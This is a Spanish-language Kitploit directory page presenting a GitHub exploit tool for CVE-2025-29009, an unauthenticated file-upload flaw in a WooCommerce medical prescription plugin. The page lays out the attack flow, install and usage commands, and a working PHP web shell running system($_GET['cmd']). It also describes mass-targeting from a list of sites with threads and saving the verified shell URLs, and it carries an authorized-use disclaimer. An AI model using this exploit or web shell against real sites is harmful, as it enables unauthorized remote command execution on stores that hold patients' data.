Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-29009 — WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 es vulnerable a una subida arbitraria de archivos de alta prioridad. | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2025-29009
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubnxploited/cve-2025-29009

CVE-2025-29009

WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 es vulnerable a una subida arbitraria de archivos de alta prioridad.

Ver Repositorio
111hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-29009

WordPress Medical Prescription Attachment Plugin for WooCommerce <= 1.2.3 es vulnerable a una subida arbitraria de archivos de prioridad alta

CVE-2025-29009

Webkul Medical Prescription Attachment — Subida de archivos sin restricciones → Web Shell

root@kitploit:~
,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'     ,-.   ,-.   ,-.   ,-.   ,-.
/    |  /  |           ) /  /\    ) |           ) (   ) /  /\ /  /\ (   )
|    | /   |-   ---   /  | / |   /  `-.  ---   /   `-'| | / | | / |  `-'|
\    |/    |         /   \/  /  /      )      /       / \/  / \/  /     /
 `-' '     `--'     '--'  `-'  '--' `-'      '--'  `-'   `-'   `-'   `-'

CVE Plugin Auth

Python
Author

❶ Vulnerabilidad

CampoDetalle
CVECVE-2025-29009
PluginWebkul Medical Prescription Attachment Plugin for WooCommerce
Afecta aTodas las versiones ≤ 1.2.3
AutenticaciónNo requerida
TipoSubida sin restricciones de archivo con tipo peligroso → Subida de Web Shell
CWECWE-434 · Subida sin restricciones de archivo con tipo peligroso

Causa raíz:
El manejador AJAX wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) acepta subidas de archivos mediante wkwc_pa_prescription_attachment[] sin validar la extensión ni el tipo MIME en el lado del servidor. Un atacante no autenticado puede extraer el ajaxNonce de la tienda pública de WooCommerce (incrustado en el objeto JavaScript wkwcpaFrontObj) y subir una web shell PHP directamente al directorio de subidas del servidor. La respuesta devuelve la URL completa y accesible del archivo subido.


❷ Flujo del ataque

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  1. Resolve front page                                       │
│     GET /  →  GET /shop/  →  GET /product/  →  GET /?wkwcpa=1│
│                                                              │
│  2. Extract nonce                                            │
│     Parse wkwcpaFrontObj.ajax.ajaxUrl                        │
│     Parse wkwcpaFrontObj.ajax.ajaxNonce                      │
│                                                              │
│  3. Upload shell                                             │
│     POST <ajaxUrl>                                           │
│       action = wkwcpa_handle_prescription_session            │
│       nonce  = <ajaxNonce>                                   │
│       type   = upload                                        │
│       wkwc_pa_prescription_attachment[] = shell.php          │
│                                                              │
│  4. Parse response                                           │
│     JSON → data.attachments_img_html[].src  →  shell URL    │
│                                                              │
│  5. Verify shell                                             │
│     GET <shell_url>  →  check for unique signature           │
│                                                              │
│  6. Save to shells.txt                                       │
└──────────────────────────────────────────────────────────────┘

❸ Instalación

root@kitploit:~
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

❹ Preparación de la Shell

Crea tu shell PHP e incrusta una cadena de firma única para que la herramienta pueda verificar la ejecución correcta:

root@kitploit:~
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>

Guárdalo como shell.php en el mismo directorio que el script.
La cadena NxploitedShellOK es la firma — debe aparecer en la respuesta de la shell para que la verificación sea correcta.


❺ Uso

root@kitploit:~
python3 CVE-2025-29009.py

Prompts

root@kitploit:~
Targets file (default list.txt):              list.txt
Threads (default 10):                         10
Local shell filename (e.g. shell.php):        shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK

Formato de objetivos — list.txt

root@kitploit:~
https://target1.com
target2.com
http://target3.com

Los objetivos sin http:// o https:// reciben automáticamente el prefijo http://.


❻ Salida

ArchivoContenido
shells.txtUna URL de shell verificada por línea

Terminal:

root@kitploit:~
[SHELL]  https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL]   https://target2.com  (nonce_not_found)
[FAIL]   https://target3.com  (success_false)
[Status] 3/3  OK:1  FAIL:2

❼ Códigos de error

CódigoSignificado
shell_file_missingshell.php no se encuentra en el directorio de trabajo
no_front_pageNinguna página candidata devolvió HTTP 200
nonce_not_foundwkwcpaFrontObj no está presente en ninguna página
upload_errorError de red durante el POST
json_parse_errorLa respuesta no es JSON válido
success_falseEl servidor devolvió data.success = false
no_attachmentsLa subida se realizó correctamente, pero no hay ninguna URL en la respuesta
shell_url_not_foundNo se pudo extraer la URL del archivo del HTML de la respuesta

❽ Autor

root@kitploit:~
Nxploited
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

GitHub Telegram


❾ Descargo de responsabilidad

root@kitploit:~
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.

© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Corregido en 1.2.4

Descargar herramienta